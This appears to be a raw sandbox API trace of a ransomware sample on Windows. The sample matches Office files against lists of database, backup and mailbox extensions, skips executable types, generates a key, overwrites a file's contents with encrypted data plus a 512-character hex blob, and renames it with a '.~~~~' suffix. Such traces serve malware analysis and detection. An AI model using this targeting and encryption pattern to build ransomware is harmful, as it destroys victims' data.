	[0140.799] lstrlenW (lpString=".DACPAC") returned 7
	[0140.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.800] lstrlenW (lpString=".VHD") returned 4
	[0140.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".VHD") returned 0x0
	[0140.800] lstrlenW (lpString=".DBV") returned 4
	[0140.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".DBV") returned 0x0
	[0140.800] lstrlenW (lpString=".dacpac") returned 7
	[0140.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".dacpac") returned 0x0
	[0140.800] lstrlenW (lpString=".sdf") returned 4
	[0140.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".sdf") returned 0x0
	[0140.800] lstrlenW (lpString=".accdb") returned 6
	[0140.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".accdb") returned 0x0
	[0140.800] lstrlenW (lpString=".DBX") returned 4
	[0140.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".DBX") returned 0x0
	[0140.800] lstrlenW (lpString=".MDT") returned 4
	[0140.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".MDT") returned 0x0
	[0140.800] lstrlenW (lpString=".SQB") returned 4
	[0140.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".SQB") returned 0x0
	[0140.800] lstrlenW (lpString=".vhd") returned 4
	[0140.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".vhd") returned 0x0
	[0140.800] lstrlenW (lpString=".bac") returned 4
	[0140.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".bac") returned 0x0
	[0140.800] lstrlenW (lpString=".mdf") returned 4
	[0140.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".mdf") returned 0x0
	[0140.800] lstrlenW (lpString=".BAK") returned 4
	[0140.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".BAK") returned 0x0
	[0140.800] lstrlenW (lpString=".BAC") returned 4
	[0140.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".BAC") returned 0x0
	[0140.801] lstrlenW (lpString=".dbs") returned 4
	[0140.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".dbs") returned 0x0
	[0140.801] lstrlenW (lpString=".vhdx") returned 5
	[0140.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".vhdx") returned 0x0
	[0140.801] lstrlenW (lpString=".NDF") returned 4
	[0140.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".NDF") returned 0x0
	[0140.801] lstrlenW (lpString=".dat") returned 4
	[0140.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".dat") returned 0x0
	[0140.801] lstrlenW (lpString=".DBS") returned 4
	[0140.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".DBS") returned 0x0
	[0140.801] lstrlenW (lpString=".CKP") returned 4
	[0140.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".CKP") returned 0x0
	[0140.801] lstrlenW (lpString=".edb") returned 4
	[0140.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".edb") returned 0x0
	[0140.801] lstrlenW (lpString=".PST") returned 4
	[0140.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".PST") returned 0x0
	[0140.801] lstrlenW (lpString=".dbf") returned 4
	[0140.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".dbf") returned 0x0
	[0140.801] lstrlenW (lpString=".SQL") returned 4
	[0140.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".SQL") returned 0x0
	[0140.801] lstrlenW (lpString=".pst") returned 4
	[0140.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".pst") returned 0x0
	[0140.801] lstrlenW (lpString=".dbv") returned 4
	[0140.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".dbv") returned 0x0
	[0140.801] lstrlenW (lpString=".SDF") returned 4
	[0140.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".SDF") returned 0x0
	[0140.801] lstrlenW (lpString=".dtxs") returned 5
	[0140.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".dtxs") returned 0x0
	[0140.801] lstrlenW (lpString=".db3") returned 4
	[0140.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".db3") returned 0x0
	[0140.801] lstrlenW (lpString=".OST") returned 4
	[0140.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".OST") returned 0x0
	[0140.801] lstrlenW (lpString=".dbx") returned 4
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".dbx") returned 0x0
	[0140.802] lstrlenW (lpString=".DB3") returned 4
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".DB3") returned 0x0
	[0140.802] lstrlenW (lpString=".DAT") returned 4
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".DAT") returned 0x0
	[0140.802] lstrlenW (lpString=".VHDX") returned 5
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".VHDX") returned 0x0
	[0140.802] lstrlenW (lpString=".ndf") returned 4
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".ndf") returned 0x0
	[0140.802] lstrlenW (lpString=".DB") returned 3
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".DB") returned 0x0
	[0140.802] lstrlenW (lpString=".sql") returned 4
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".sql") returned 0x0
	[0140.802] lstrlenW (lpString=".MYD") returned 4
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".MYD") returned 0x0
	[0140.802] lstrlenW (lpString=".DBT") returned 4
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".DBT") returned 0x0
	[0140.802] lstrlenW (lpString=".ACCDB") returned 6
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.802] lstrlenW (lpString=".fdb") returned 4
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".fdb") returned 0x0
	[0140.802] lstrlenW (lpString=".bak") returned 4
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".bak") returned 0x0
	[0140.802] lstrlenW (lpString=".myd") returned 4
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".myd") returned 0x0
	[0140.802] lstrlenW (lpString=".DTXS") returned 5
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".DTXS") returned 0x0
	[0140.802] lstrlenW (lpString=".ckp") returned 4
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".ckp") returned 0x0
	[0140.802] lstrlenW (lpString=".dbt") returned 4
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".dbt") returned 0x0
	[0140.802] lstrlenW (lpString=".db") returned 3
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".db") returned 0x0
	[0140.802] lstrlenW (lpString=".TXT") returned 4
	[0140.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".TXT") returned 0x0
	[0140.803] lstrlenW (lpString=".MDF") returned 4
	[0140.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".MDF") returned 0x0
	[0140.803] lstrlenW (lpString=".bdb") returned 4
	[0140.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".bdb") returned 0x0
	[0140.803] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0140.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0140.803] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0140.804] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0140.804] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0140.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0140.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0140.804] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26079436240) returned 1
	[0140.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbd5515b0, dwHighDateTime=0x1d60e1e)) 
	[0140.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0140.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0140.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0140.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d030
	[0140.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d030 | out: hHeap=0x300000) returned 1
	[0140.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e8368
	[0140.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0d30
	[0140.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8368 | out: hHeap=0x300000) returned 1
	[0140.805] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0140.805] GetLastError () returned 0x0
	[0140.806] GetLastError () returned 0x0
	[0140.806] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0140.806] GetLastError () returned 0x0
	[0140.806] GetLastError () returned 0x0
	[0140.806] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0xf47, lpOverlapped=0x0) returned 1
	[0140.896] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff0b9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.896] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xf47, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0xf47, lpOverlapped=0x0) returned 1
	[0140.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0140.897] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.897] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.897] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.897] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.897] CloseHandle (hObject=0x114) returned 1
	[0140.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b09d0
	[0140.898] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32b.gif.~~~~")) returned 1
	[0141.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0141.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0141.057] GetLastError () returned 0x0
	[0141.057] RtlWakeConditionVariable () returned 0x0
	[0141.057] GetCurrentThreadId () returned 0x9cc
	[0141.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".scr") returned 0x0
	[0141.057] lstrlenW (lpString=".cmd") returned 4
	[0141.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".cmd") returned 0x0
	[0141.057] lstrlenW (lpString=".dll") returned 4
	[0141.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".dll") returned 0x0
	[0141.058] lstrlenW (lpString=".bat") returned 4
	[0141.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".bat") returned 0x0
	[0141.058] lstrlenW (lpString=".cpl") returned 4
	[0141.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".cpl") returned 0x0
	[0141.058] lstrlenW (lpString=".sys") returned 4
	[0141.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".sys") returned 0x0
	[0141.058] lstrlenW (lpString=".msc") returned 4
	[0141.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".msc") returned 0x0
	[0141.058] lstrlenW (lpString=".com") returned 4
	[0141.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".com") returned 0x0
	[0141.058] lstrlenW (lpString=".lnk") returned 4
	[0141.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".lnk") returned 0x0
	[0141.058] lstrlenW (lpString=".msp") returned 4
	[0141.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".msp") returned 0x0
	[0141.058] lstrlenW (lpString=".pif") returned 4
	[0141.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".pif") returned 0x0
	[0141.058] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir37f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0141.061] lstrlenW (lpString=".sqb") returned 4
	[0141.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".sqb") returned 0x0
	[0141.061] lstrlenW (lpString=".ost") returned 4
	[0141.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".ost") returned 0x0
	[0141.061] lstrlenW (lpString=".txt") returned 4
	[0141.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".txt") returned 0x0
	[0141.061] lstrlenW (lpString=".mdt") returned 4
	[0141.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".mdt") returned 0x0
	[0141.061] lstrlenW (lpString=".BDB") returned 4
	[0141.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".BDB") returned 0x0
	[0141.061] lstrlenW (lpString=".eql") returned 4
	[0141.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".eql") returned 0x0
	[0141.061] lstrlenW (lpString=".DBF") returned 4
	[0141.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".DBF") returned 0x0
	[0141.061] lstrlenW (lpString=".EQL") returned 4
	[0141.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".EQL") returned 0x0
	[0141.061] lstrlenW (lpString=".FDB") returned 4
	[0141.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".FDB") returned 0x0
	[0141.061] lstrlenW (lpString=".EDB") returned 4
	[0141.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".EDB") returned 0x0
	[0141.061] lstrlenW (lpString=".DACPAC") returned 7
	[0141.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.061] lstrlenW (lpString=".VHD") returned 4
	[0141.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".VHD") returned 0x0
	[0141.062] lstrlenW (lpString=".DBV") returned 4
	[0141.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".DBV") returned 0x0
	[0141.062] lstrlenW (lpString=".dacpac") returned 7
	[0141.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.062] lstrlenW (lpString=".sdf") returned 4
	[0141.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".sdf") returned 0x0
	[0141.062] lstrlenW (lpString=".accdb") returned 6
	[0141.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".accdb") returned 0x0
	[0141.062] lstrlenW (lpString=".DBX") returned 4
	[0141.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".DBX") returned 0x0
	[0141.062] lstrlenW (lpString=".MDT") returned 4
	[0141.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".MDT") returned 0x0
	[0141.062] lstrlenW (lpString=".SQB") returned 4
	[0141.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".SQB") returned 0x0
	[0141.062] lstrlenW (lpString=".vhd") returned 4
	[0141.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".vhd") returned 0x0
	[0141.062] lstrlenW (lpString=".bac") returned 4
	[0141.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".bac") returned 0x0
	[0141.062] lstrlenW (lpString=".mdf") returned 4
	[0141.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".mdf") returned 0x0
	[0141.062] lstrlenW (lpString=".BAK") returned 4
	[0141.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".BAK") returned 0x0
	[0141.062] lstrlenW (lpString=".BAC") returned 4
	[0141.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".BAC") returned 0x0
	[0141.062] lstrlenW (lpString=".dbs") returned 4
	[0141.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".dbs") returned 0x0
	[0141.062] lstrlenW (lpString=".vhdx") returned 5
	[0141.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.063] lstrlenW (lpString=".NDF") returned 4
	[0141.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".NDF") returned 0x0
	[0141.063] lstrlenW (lpString=".dat") returned 4
	[0141.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".dat") returned 0x0
	[0141.063] lstrlenW (lpString=".DBS") returned 4
	[0141.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".DBS") returned 0x0
	[0141.063] lstrlenW (lpString=".CKP") returned 4
	[0141.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF", lpSrch=".CKP") returned 0x0
	[0141.063] lstrlenW (lpString=".edb") returned 4
